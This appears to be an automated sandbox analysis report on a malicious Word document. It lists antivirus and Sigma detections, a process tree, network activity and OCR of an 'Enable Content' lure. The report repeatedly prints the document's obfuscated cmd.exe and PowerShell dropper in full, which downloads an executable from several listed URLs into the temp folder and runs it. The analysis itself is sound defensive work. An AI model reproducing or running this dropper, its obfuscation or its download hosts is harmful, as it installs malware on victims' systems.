Edit tour

Windows Analysis Report
index.html.docx

Overview

General Information

Sample name:	index.html.docx
Analysis ID:	1577372
MD5:	528cc107d6975d8f751095e54bce7511
SHA1:	a40731073bfa54b9e89b41ba00fca06112baf619
SHA256:	39f98e51bcd3696766ee8f0e7c7f7b5d87d75ed730a19ef63cbf88b74cf8f0cd
Tags:	18521511316185215113209bulletproofdocxuser-abus3reports
Infos:

Detection

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Document contains OLE streams with names of living off the land binaries

Document exploit detected (process start blacklist hit)

Machine Learning detection for sample

Obfuscated command line found

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Suspicious Microsoft Office Child Process

Creates a process in suspended mode (likely to inject code)

Document contains an embedded VBA macro which executes code when the document is opened / closed

Document misses a certain OLE stream usually present in this Microsoft Office document type

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w11x64_office

WINWORD.EXE (PID: 3308 cmdline: "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding MD5: A9F0EC89897AC6C878D217DFB64CA752)

cmd.exe (PID: 6988 cmdline: C:\Windows\System32\cmd.exe /c %PrOGramDaTA:~0,1%%PrOgRAMData:~9,2% /V:/C "SET 4r5f=;'973s'=513M$}}{hctac}};kaerb;'610z'=985j$;587E$ metI-ekovnI{ )00008 eg- htgnel.)587E$ metI-teG(( fI;'162P'=001F$;)587E$ ,255s$(eliFdaolnwoD.526W${yrt{)070D$ ni 255s$(hcaerof;'exe.'+157v$+'\'+pmet:vne$=587E$;'591v'=959n$;'199' = 157v$;'240r'=984N$;)'@'(tilpS.'nFZizYWaC_i20s/moc.orptnerrotu//:ptth@34Of_umYVd/rb.moc.soirossecalativ//:ptth@2A7LdMv_EPYt7ks6/rb.moc.airahnegnepp//:ptth@KPZG_15j5pQ/moc.stfarctranonub//:ptth@TnJ3jVyNh_Ze38d/moc.parcynnhoj//:ptth'=070D$;tneilCbeW.teN tcejbo-wen=526W$;'190h'=578J$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& for /L %9 IN ( 560, -1 , 0)DO SEt WSEu=!WSEu!!4r5f:~ %9, 1!& If %9 eQU 0 ECHo !WSEu:~ 6! | FOR /F "tokens=2 delims=Nfah=" %B IN ('assoc.cmd')DO %B " MD5: 428CEC6B0034E0F183EB5BAE887BE480)

conhost.exe (PID: 7692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 9698384842DA735D80D278A427A229AB)

cmd.exe (PID: 5572 cmdline: CmD /V:/C "SET 4r5f=;'973s'=513M$}}{hctac}};kaerb;'610z'=985j$;587E$ metI-ekovnI{ )00008 eg- htgnel.)587E$ metI-teG(( fI;'162P'=001F$;)587E$ ,255s$(eliFdaolnwoD.526W${yrt{)070D$ ni 255s$(hcaerof;'exe.'+157v$+'\'+pmet:vne$=587E$;'591v'=959n$;'199' = 157v$;'240r'=984N$;)'@'(tilpS.'nFZizYWaC_i20s/moc.orptnerrotu//:ptth@34Of_umYVd/rb.moc.soirossecalativ//:ptth@2A7LdMv_EPYt7ks6/rb.moc.airahnegnepp//:ptth@KPZG_15j5pQ/moc.stfarctranonub//:ptth@TnJ3jVyNh_Ze38d/moc.parcynnhoj//:ptth'=070D$;tneilCbeW.teN tcejbo-wen=526W$;'190h'=578J$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& for /L %9 IN ( 560, -1 , 0)DO SEt WSEu=!WSEu!!4r5f:~ %9, 1!& If %9 eQU 0 ECHo !WSEu:~ 6! | FOR /F "tokens=2 delims=Nfah=" %B IN ('assoc.cmd')DO %B " MD5: 428CEC6B0034E0F183EB5BAE887BE480)

cmd.exe (PID: 5024 cmdline: C:\Windows\system32\cmd.exe /S /D /c" ECHo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $J875='h091';$W625=new-object Net.WebClient;$D070='http://johnnycrap.com/d83eZ_hNyVj3JnT@http://bunonartcrafts.com/Qp5j51_GZPK@http://ppengenharia.com.br/6sk7tYPE_vMdL7A2@http://vitalacessorios.com.br/dVYmu_fO43@http://utorrentpro.com/s02i_CaWYziZFn'.Split('@');$N489='r042';$v751 = '991';$n959='v195';$E785=$env:temp+'\'+$v751+'.exe';foreach($s552 in $D070){try{$W625.DownloadFile($s552, $E785);$F100='P261';If ((Get-Item $E785).length -ge 80000) {Invoke-Item $E785;$j589='z016';break;}}catch{}}$M315='s379'; " MD5: 428CEC6B0034E0F183EB5BAE887BE480)

cmd.exe (PID: 5036 cmdline: C:\Windows\system32\cmd.exe /S /D /c" FOR /F "tokens=2 delims=Nfah=" %B IN ('assoc.cmd') DO %B " MD5: 428CEC6B0034E0F183EB5BAE887BE480)

cmd.exe (PID: 7584 cmdline: C:\Windows\system32\cmd.exe /c assoc.cmd MD5: 428CEC6B0034E0F183EB5BAE887BE480)

cmd.exe (PID: 5680 cmdline: cmd MD5: 428CEC6B0034E0F183EB5BAE887BE480)

cleanup

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: C:\Windows\System32\cmd.exe /c %PrOGramDaTA:~0,1%%PrOgRAMData:~9,2% /V:/C "SET 4r5f=;'973s'=513M$}}{hctac}};kaerb;'610z'=985j$;587E$ metI-ekovnI{ )00008 eg- htgnel.)587E$ metI-teG(( fI;'162P'=001F$;)587E$ ,255s$(eliFdaolnwoD.526W${yrt{)070D$ ni 255s$(hcaerof;'exe.'+157v$+'\'+pmet:vne$=587E$;'591v'=959n$;'199' = 157v$;'240r'=984N$;)'@'(tilpS.'nFZizYWaC_i20s/moc.orptnerrotu//:ptth@34Of_umYVd/rb.moc.soirossecalativ//:ptth@2A7LdMv_EPYt7ks6/rb.moc.airahnegnepp//:ptth@KPZG_15j5pQ/moc.stfarctranonub//:ptth@TnJ3jVyNh_Ze38d/moc.parcynnhoj//:ptth'=070D$;tneilCbeW.teN tcejbo-wen=526W$;'190h'=578J$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& for /L %9 IN ( 560, -1 , 0)DO SEt WSEu=!WSEu!!4r5f:~ %9, 1!& If %9 eQU 0 ECHo !WSEu:~ 6! | FOR /F "tokens=2 delims=Nfah=" %B IN ('assoc.cmd')DO %B ", CommandLine: C:\Windows\System32\cmd.exe /c %PrOGramDaTA:~0,1%%PrOgRAMData:~9,2% /V:/C "SET 4r5f=;'973s'=513M$}}{hctac}};kaerb;'610z'=985j$;587E$ metI-ekovnI{ )00008 eg- htgnel.)587E$ metI-teG(( fI;'162P'=001F$;)587E$ ,255s$(eliFdaolnwoD.526W${yrt{)070D$ ni 255s$(hcaerof;'exe.'+157v$+'\'+pmet:vne$=587E$;'591v'=959n$;'199' = 157v$;'240r'=984N$;)'@'(tilpS.'nFZizYWaC_i20s/moc.orptnerrotu//:ptth@34Of_umYVd/rb.moc.soirossecalativ//:ptth@2A7LdMv_EPYt7ks6/rb.moc.airahnegnepp//:ptth@KPZG_15j5pQ/moc.stfarctranonub//:ptth@TnJ3jVyNh_Ze38d/moc.parcynnhoj//:ptth'=070D$;tneilCbeW.teN tcejbo-wen=526W$;'190h'=578J$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& for /L %9 IN ( 560, -1 , 0)DO SEt WSEu=!WSEu!!4r5f:~ %9, 1!& If %9 eQU 0 ECHo !WSEu:~ 6! | FOR /F "tokens=2 delims=Nfah=" %B IN ('assoc.cmd')DO %B ", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE, ParentProcessId: 3308, ParentProcessName: WINWORD.EXE, ProcessCommandLine: C:\Windows\System32\cmd.exe /c %PrOGramDaTA:~0,1%%PrOgRAMData:~9,2% /V:/C "SET 4r5f=;'973s'=513M$}}{hctac}};kaerb;'610z'=985j$;587E$ metI-ekovnI{ )00008 eg- htgnel.)587E$ metI-teG(( fI;'162P'=001F$;)587E$ ,255s$(eliFdaolnwoD.526W${yrt{)070D$ ni 255s$(hcaerof;'exe.'+157v$+'\'+pmet:vne$=587E$;'591v'=959n$;'199' = 157v$;'240r'=984N$;)'@'(tilpS.'nFZizYWaC_i20s/moc.orptnerrotu//:ptth@34Of_umYVd/rb.moc.soirossecalativ//:ptth@2A7LdMv_EPYt7ks6/rb.moc.airahnegnepp//:ptth@KPZG_15j5pQ/moc.stfarctranonub//:ptth@TnJ3jVyNh_Ze38d/moc.parcynnhoj//:ptth'=070D$;tneilCbeW.teN tcejbo-wen=526W$;'190h'=578J$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& for /L %9 IN ( 560, -1 , 0)DO SEt WSEu=!WSEu!!4r5f:~ %9, 1!& If %9 eQU 0 ECHo !WSEu:~ 6! | FOR /F "tokens=2 delims=Nfah=" %B IN ('assoc.cmd')DO %B ", ProcessId: 6988, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: C:\Windows\System32\cmd.exe /c %PrOGramDaTA:~0,1%%PrOgRAMData:~9,2% /V:/C "SET 4r5f=;'973s'=513M$}}{hctac}};kaerb;'610z'=985j$;587E$ metI-ekovnI{ )00008 eg- htgnel.)587E$ metI-teG(( fI;'162P'=001F$;)587E$ ,255s$(eliFdaolnwoD.526W${yrt{)070D$ ni 255s$(hcaerof;'exe.'+157v$+'\'+pmet:vne$=587E$;'591v'=959n$;'199' = 157v$;'240r'=984N$;)'@'(tilpS.'nFZizYWaC_i20s/moc.orptnerrotu//:ptth@34Of_umYVd/rb.moc.soirossecalativ//:ptth@2A7LdMv_EPYt7ks6/rb.moc.airahnegnepp//:ptth@KPZG_15j5pQ/moc.stfarctranonub//:ptth@TnJ3jVyNh_Ze38d/moc.parcynnhoj//:ptth'=070D$;tneilCbeW.teN tcejbo-wen=526W$;'190h'=578J$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& for /L %9 IN ( 560, -1 , 0)DO SEt WSEu=!WSEu!!4r5f:~ %9, 1!& If %9 eQU 0 ECHo !WSEu:~ 6! | FOR /F "tokens=2 delims=Nfah=" %B IN ('assoc.cmd')DO %B ", CommandLine: C:\Windows\System32\cmd.exe /c %PrOGramDaTA:~0,1%%PrOgRAMData:~9,2% /V:/C "SET 4r5f=;'973s'=513M$}}{hctac}};kaerb;'610z'=985j$;587E$ metI-ekovnI{ )00008 eg- htgnel.)587E$ metI-teG(( fI;'162P'=001F$;)587E$ ,255s$(eliFdaolnwoD.526W${yrt{)070D$ ni 255s$(hcaerof;'exe.'+157v$+'\'+pmet:vne$=587E$;'591v'=959n$;'199' = 157v$;'240r'=984N$;)'@'(tilpS.'nFZizYWaC_i20s/moc.orptnerrotu//:ptth@34Of_umYVd/rb.moc.soirossecalativ//:ptth@2A7LdMv_EPYt7ks6/rb.moc.airahnegnepp//:ptth@KPZG_15j5pQ/moc.stfarctranonub//:ptth@TnJ3jVyNh_Ze38d/moc.parcynnhoj//:ptth'=070D$;tneilCbeW.teN tcejbo-wen=526W$;'190h'=578J$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& for /L %9 IN ( 560, -1 , 0)DO SEt WSEu=!WSEu!!4r5f:~ %9, 1!& If %9 eQU 0 ECHo !WSEu:~ 6! | FOR /F "tokens=2 delims=Nfah=" %B IN ('assoc.cmd')DO %B ", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE, ParentProcessId: 3308, ParentProcessName: WINWORD.EXE, ProcessCommandLine: C:\Windows\System32\cmd.exe /c %PrOGramDaTA:~0,1%%PrOgRAMData:~9,2% /V:/C "SET 4r5f=;'973s'=513M$}}{hctac}};kaerb;'610z'=985j$;587E$ metI-ekovnI{ )00008 eg- htgnel.)587E$ metI-teG(( fI;'162P'=001F$;)587E$ ,255s$(eliFdaolnwoD.526W${yrt{)070D$ ni 255s$(hcaerof;'exe.'+157v$+'\'+pmet:vne$=587E$;'591v'=959n$;'199' = 157v$;'240r'=984N$;)'@'(tilpS.'nFZizYWaC_i20s/moc.orptnerrotu//:ptth@34Of_umYVd/rb.moc.soirossecalativ//:ptth@2A7LdMv_EPYt7ks6/rb.moc.airahnegnepp//:ptth@KPZG_15j5pQ/moc.stfarctranonub//:ptth@TnJ3jVyNh_Ze38d/moc.parcynnhoj//:ptth'=070D$;tneilCbeW.teN tcejbo-wen=526W$;'190h'=578J$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& for /L %9 IN ( 560, -1 , 0)DO SEt WSEu=!WSEu!!4r5f:~ %9, 1!& If %9 eQU 0 ECHo !WSEu:~ 6! | FOR /F "tokens=2 delims=Nfah=" %B IN ('assoc.cmd')DO %B ", ProcessId: 6988, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /S /D /c" ECHo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $J875='h091';$W625=new-object Net.WebClient;$D070='http://johnnycrap.com/d83eZ_hNyVj3JnT@http://bunonartcrafts.com/Qp5j51_GZPK@http://ppengenharia.com.br/6sk7tYPE_vMdL7A2@http://vitalacessorios.com.br/dVYmu_fO43@http://utorrentpro.com/s02i_CaWYziZFn'.Split('@');$N489='r042';$v751 = '991';$n959='v195';$E785=$env:temp+'\'+$v751+'.exe';foreach($s552 in $D070){try{$W625.DownloadFile($s552, $E785);$F100='P261';If ((Get-Item $E785).length -ge 80000) {Invoke-Item $E785;$j589='z016';break;}}catch{}}$M315='s379'; ", CommandLine: C:\Windows\system32\cmd.exe /S /D /c" ECHo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $J875='h091';$W625=new-object Net.WebClient;$D070='http://johnnycrap.com/d83eZ_hNyVj3JnT@http://bunonartcrafts.com/Qp5j51_GZPK@http://ppengenharia.com.br/6sk7tYPE_vMdL7A2@http://vitalacessorios.com.br/dVYmu_fO43@http://utorrentpro.com/s02i_CaWYziZFn'.Split('@');$N489='r042';$v751 = '991';$n959='v195';$E785=$env:temp+'\'+$v751+'.exe';foreach($s552 in $D070){try{$W625.DownloadFile($s552, $E785);$F100='P261';If ((Get-Item $E785).length -ge 80000) {Invoke-Item $E785;$j589='z016';break;}}catch{}}$M315='s379'; ", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: CmD /V:/C "SET 4r5f=;'973s'=513M$}}{hctac}};kaerb;'610z'=985j$;587E$ metI-ekovnI{ )00008 eg- htgnel.)587E$ metI-teG(( fI;'162P'=001F$;)587E$ ,255s$(eliFdaolnwoD.526W${yrt{)070D$ ni 255s$(hcaerof;'exe.'+157v$+'\'+pmet:vne$=587E$;'591v'=959n$;'199' = 157v$;'240r'=984N$;)'@'(tilpS.'nFZizYWaC_i20s/moc.orptnerrotu//:ptth@34Of_umYVd/rb.moc.soirossecalativ//:ptth@2A7LdMv_EPYt7ks6/rb.moc.airahnegnepp//:ptth@KPZG_15j5pQ/moc.stfarctranonub//:ptth@TnJ3jVyNh_Ze38d/moc.parcynnhoj//:ptth'=070D$;tneilCbeW.teN tcejbo-wen=526W$;'190h'=578J$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& for /L %9 IN ( 560, -1 , 0)DO SEt WSEu=!WSEu!!4r5f:~ %9, 1!& If %9 eQU 0 ECHo !WSEu:~ 6! | FOR /F "tokens=2 delims=Nfah=" %B IN ('assoc.cmd')DO %B ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5572, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /S /D /c" ECHo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $J875='h091';$W625=new-object Net.WebClient;$D070='http://johnnycrap.com/d83eZ_hNyVj3JnT@http://bunonartcrafts.com/Qp5j51_GZPK@http://ppengenharia.com.br/6sk7tYPE_vMdL7A2@http://vitalacessorios.com.br/dVYmu_fO43@http://utorrentpro.com/s02i_CaWYziZFn'.Split('@');$N489='r042';$v751 = '991';$n959='v195';$E785=$env:temp+'\'+$v751+'.exe';foreach($s552 in $D070){try{$W625.DownloadFile($s552, $E785);$F100='P261';If ((Get-Item $E785).length -ge 80000) {Invoke-Item $E785;$j589='z016';break;}}catch{}}$M315='s379'; ", ProcessId: 5024, ProcessName: cmd.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: C:\Windows\system32\cmd.exe /S /D /c" ECHo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $J875='h091';$W625=new-object Net.WebClient;$D070='http://johnnycrap.com/d83eZ_hNyVj3JnT@http://bunonartcrafts.com/Qp5j51_GZPK@http://ppengenharia.com.br/6sk7tYPE_vMdL7A2@http://vitalacessorios.com.br/dVYmu_fO43@http://utorrentpro.com/s02i_CaWYziZFn'.Split('@');$N489='r042';$v751 = '991';$n959='v195';$E785=$env:temp+'\'+$v751+'.exe';foreach($s552 in $D070){try{$W625.DownloadFile($s552, $E785);$F100='P261';If ((Get-Item $E785).length -ge 80000) {Invoke-Item $E785;$j589='z016';break;}}catch{}}$M315='s379'; ", CommandLine: C:\Windows\system32\cmd.exe /S /D /c" ECHo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $J875='h091';$W625=new-object Net.WebClient;$D070='http://johnnycrap.com/d83eZ_hNyVj3JnT@http://bunonartcrafts.com/Qp5j51_GZPK@http://ppengenharia.com.br/6sk7tYPE_vMdL7A2@http://vitalacessorios.com.br/dVYmu_fO43@http://utorrentpro.com/s02i_CaWYziZFn'.Split('@');$N489='r042';$v751 = '991';$n959='v195';$E785=$env:temp+'\'+$v751+'.exe';foreach($s552 in $D070){try{$W625.DownloadFile($s552, $E785);$F100='P261';If ((Get-Item $E785).length -ge 80000) {Invoke-Item $E785;$j589='z016';break;}}catch{}}$M315='s379'; ", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: CmD /V:/C "SET 4r5f=;'973s'=513M$}}{hctac}};kaerb;'610z'=985j$;587E$ metI-ekovnI{ )00008 eg- htgnel.)587E$ metI-teG(( fI;'162P'=001F$;)587E$ ,255s$(eliFdaolnwoD.526W${yrt{)070D$ ni 255s$(hcaerof;'exe.'+157v$+'\'+pmet:vne$=587E$;'591v'=959n$;'199' = 157v$;'240r'=984N$;)'@'(tilpS.'nFZizYWaC_i20s/moc.orptnerrotu//:ptth@34Of_umYVd/rb.moc.soirossecalativ//:ptth@2A7LdMv_EPYt7ks6/rb.moc.airahnegnepp//:ptth@KPZG_15j5pQ/moc.stfarctranonub//:ptth@TnJ3jVyNh_Ze38d/moc.parcynnhoj//:ptth'=070D$;tneilCbeW.teN tcejbo-wen=526W$;'190h'=578J$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& for /L %9 IN ( 560, -1 , 0)DO SEt WSEu=!WSEu!!4r5f:~ %9, 1!& If %9 eQU 0 ECHo !WSEu:~ 6! | FOR /F "tokens=2 delims=Nfah=" %B IN ('assoc.cmd')DO %B ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5572, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /S /D /c" ECHo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $J875='h091';$W625=new-object Net.WebClient;$D070='http://johnnycrap.com/d83eZ_hNyVj3JnT@http://bunonartcrafts.com/Qp5j51_GZPK@http://ppengenharia.com.br/6sk7tYPE_vMdL7A2@http://vitalacessorios.com.br/dVYmu_fO43@http://utorrentpro.com/s02i_CaWYziZFn'.Split('@');$N489='r042';$v751 = '991';$n959='v195';$E785=$env:temp+'\'+$v751+'.exe';foreach($s552 in $D070){try{$W625.DownloadFile($s552, $E785);$F100='P261';If ((Get-Item $E785).length -ge 80000) {Invoke-Item $E785;$j589='z016';break;}}catch{}}$M315='s379'; ", ProcessId: 5024, ProcessName: cmd.exe

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE, ProcessId: 3308, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: index.html.docx

Avira: detected

Multi AV Scanner detection for submitted file

Source: index.html.docx

ReversingLabs: Detection: 76%

Machine Learning detection for sample

Source: index.html.docx

Joe Sandbox ML: detected

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

Directory created: C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

File opened: C:\Program Files\Microsoft Office\root\vfs\System\MSVCR100.dll

Jump to behavior

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

Process created: C:\Windows\System32\cmd.exe

Source: global traffic	DNS query: name: res.public.onecdn.static.microsoft
Source: global traffic	DNS query: name: tse1.mm.bing.net

Source: global traffic

TCP traffic: 192.168.2.26:49714 -> 152.199.21.175:443

Source: winword.exe

Memory has grown: Private usage: 0MB later: 104MB

Source: global traffic

HTTP traffic detected: GET /creativeservice/2d863f0f-0fd5-72db-6971-f905df03ef53_3255140379518978990_128000000004796009_assets__image_1709055739600.jpg HTTP/1.1Accept: */*Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.22631Host: res.public.onecdn.static.microsoftConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: res.public.onecdn.static.microsoft
Source: global traffic	DNS traffic detected: DNS query: tse1.mm.bing.net

Source: screenshot	OCR: Enable Editing and then click Enable Content. Search Focus p Find v Sc Replace Select v Editing ENG
Source: screenshot	OCR: Enable Content. Search Focus p Find v Sc Replace Select v Editing ENG Share v Add-ins Add-ins 06:51
Source: screenshot	OCR: Enable Editing and then click Enable Content. Accessibility: Unavailable Search Focus p Find v Sc Re
Source: screenshot	OCR: Enable Content. Accessibility: Unavailable Search Focus p Find v Sc Replace Select v Editing ENG Sha
Source: screenshot	OCR: Enable Editing and then click Enable Content. Accessibility: Unavailable Search Focus p Find v Sc Re
Source: screenshot	OCR: Enable Content. Accessibility: Unavailable Search Focus p Find v Sc Replace Select v Editing ENG Sha
Source: screenshot	OCR: Enable Editing and then Click Enable Content, Accessibility: Unavailable Search Focus p Find v Sc Re
Source: screenshot	OCR: Enable Content, Accessibility: Unavailable Search Focus p Find v Sc Replace Select v Editing ENG Sha
Source: screenshot	OCR: Enable Editing and then Click Enable Content, Accessibility: Unavailable Search Focus p Find v Sc Re
Source: screenshot	OCR: Enable Content, Accessibility: Unavailable Search Focus p Find v Sc Replace Select v Editing ENG Sha
Source: screenshot	OCR: Enable Editing and then Click Enable Content, ae careful! Parts of your document may include persona
Source: screenshot	OCR: Enable Content, ae careful! Parts of your document may include personal information that can't be re
Source: screenshot	OCR: Enable Editing and then Click Enable Content, Accessibility: Unavailable Search Crop Focus C] Height
Source: screenshot	OCR: Enable Content, Accessibility: Unavailable Search Crop Focus C] Height: Width: 16.51 cm Size ENG Sha
Source: screenshot	OCR: Enable Editing and then Click Enable Content, Accessibility: Unavailable Search Focus p Find v Sc Re
Source: screenshot	OCR: Enable Content, Accessibility: Unavailable Search Focus p Find v Sc Replace Select v Editing ENG Sha

Source: ~WRF{5655FBC5-0155-4D55-B5F1-D09476819944}.tmp.0.dr	Stream path '_1796009866/contents' : .....@.....H,l.....{...c:\G58533236781\r48613070045616\V70745996895\..\..\..\windows\system32\cmd.exe /c %PrOGramDaTA:~0,1%%PrOgRAMData:~9,2% /V:/C "SET 4r5f=;'973s'=513M$}}{hctac}};kaerb;'610z'=985j$;587E$ metI-ekovnI{ )00008 eg- htgnel.)587E$ metI-teG(( fI;'162P'=001F$;)587E$ ,255s$(eliFdaolnwoD.526W${yrt{)070D$ ni 255s$(hcaerof;'exe.'+157v$+'\'+pmet:vne$=587E$;'591v'=959n$;'199' = 157v$;'240r'=984N$;)'@'(tilpS.'nFZizYWaC_i20s/moc.orptnerrotu//:ptth@34Of_umYVd/rb.moc.soirossecalativ//:ptth@2A7LdMv_EPYt7ks6/rb.moc.airahnegnepp//:ptth@KPZG_15j5pQ/moc.stfarctranonub//:ptth@TnJ3jVyNh_Ze38d/moc.parcynnhoj//:ptth'=070D$;tneilCbeW.teN tcejbo-wen=526W$;'190h'=578J$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& for /L %9 IN ( 560, -1 , 0)DO SEt WSEu=!WSEu!!4r5f:~ %9, 1!& If %9 eQU 0 ECHo !WSEu:~ 6! \| FOR /F "tokens=2 delims=Nfah=" %B IN ('assoc.cmd')DO %B "....5.............Calibri.
Source: ~WRF{5655FBC5-0155-4D55-B5F1-D09476819944}.tmp.0.dr	Stream path '_1796009897/contents' : .....@.....H,l.....{...c:\G58533236781\r48613070045616\V70745996895\..\..\..\windows\system32\cmd.exe /c %PrOGramDaTA:~0,1%%PrOgRAMData:~9,2% /V:/C "SET 4r5f=;'973s'=513M$}}{hctac}};kaerb;'610z'=985j$;587E$ metI-ekovnI{ )00008 eg- htgnel.)587E$ metI-teG(( fI;'162P'=001F$;)587E$ ,255s$(eliFdaolnwoD.526W${yrt{)070D$ ni 255s$(hcaerof;'exe.'+157v$+'\'+pmet:vne$=587E$;'591v'=959n$;'199' = 157v$;'240r'=984N$;)'@'(tilpS.'nFZizYWaC_i20s/moc.orptnerrotu//:ptth@34Of_umYVd/rb.moc.soirossecalativ//:ptth@2A7LdMv_EPYt7ks6/rb.moc.airahnegnepp//:ptth@KPZG_15j5pQ/moc.stfarctranonub//:ptth@TnJ3jVyNh_Ze38d/moc.parcynnhoj//:ptth'=070D$;tneilCbeW.teN tcejbo-wen=526W$;'190h'=578J$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& for /L %9 IN ( 560, -1 , 0)DO SEt WSEu=!WSEu!!4r5f:~ %9, 1!& If %9 eQU 0 ECHo !WSEu:~ 6! \| FOR /F "tokens=2 delims=Nfah=" %B IN ('assoc.cmd')DO %B "....5.............Calibri.

Source: Equations.dotx.0.dr	OLE indicator, Word Document stream: true
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	OLE indicator, Word Document stream: true
Source: Element design set.dotx.0.dr	OLE indicator, Word Document stream: true
Source: Insight design set.dotx.0.dr	OLE indicator, Word Document stream: true
Source: ~WRD0002.tmp.0.dr	OLE indicator, Word Document stream: true

Source: ~WRF{5655FBC5-0155-4D55-B5F1-D09476819944}.tmp.0.dr	OLE document summary: title field not present or empty
Source: ~WRF{5655FBC5-0155-4D55-B5F1-D09476819944}.tmp.0.dr	OLE document summary: author field not present or empty
Source: ~WRF{5655FBC5-0155-4D55-B5F1-D09476819944}.tmp.0.dr	OLE document summary: edited time not present or 0

Source: unknown	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
